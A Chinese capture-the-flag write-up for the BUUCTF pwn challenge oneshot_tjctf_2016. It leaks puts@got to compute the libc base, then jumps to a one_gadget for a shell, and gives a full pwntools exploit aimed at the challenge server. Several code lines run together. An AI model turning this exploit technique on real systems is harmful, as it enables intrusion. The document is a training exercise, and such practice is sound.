本文主要是介绍[BUUCTF]PWN——oneshot_tjctf_2016(one_gadget),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
oneshot_tjctf_2016
附件
步骤
-
例行检查,64位程序,开启了nx
-
本地试运行一下看看大概的情况
-
64位ida载入
程序第8行会根据第7行的输入读取对应地址的值,第10行会跳转到输入的对应地址。 -
第10行会根据输入的地址跳转,首先想到的是让他跳转到去执行system(‘/bin/sh’),但是程序里没有现成的后门,想到尝试看看是否可以利用one_gadget。
-
在那之前,要先知道程序里的偏移。根据之前分析,第8行会根据第7行的输入读取相应地址的值,我们可以在这点上利用puts@got来泄露libc,这样就能计算出程序的偏移了
elf = ELF('./oneshot_tjctf_2016')
puts_got = elf.got['puts']
p.sendlineafter('Read location?',str(puts_got))
p.recvuntil('value:')
pause()
得到puts函数地址后就可以计算偏移,算出one_gadget在程序中的地址了
libcbase = puts_addr - libc.symbols['puts']
onegadget = libcbase + one_gadget[0]
准备就绪,在第10行的输入点传入one_gadget的地址即可,有4个一个一个试吧,很幸运,第一个就可以
完整exp
from pwn import *
from LibcSearcher import *
context.log_level ='debug'elf = ELF('./oneshot_tjctf_2016')
#p = process('./oneshot_tjctf_2016')
p = remote('node3.buuoj.cn',25203)libc = ELF('./libc-2.23-64.so')
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]puts_got = elf.got['puts']
p.sendlineafter('Read location?',str(puts_got))
p.recvuntil('0x')
#pause()
puts_addr = int(p.recvuntil('\n'),16)
print hex(puts_addr)
#pause() libcbase = puts_addr - libc.symbols['puts']
onegadget = libcbase + one_gadget[0]p.sendline(str(onegadget)) p.interactive()
这篇关于[BUUCTF]PWN——oneshot_tjctf_2016(one_gadget)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!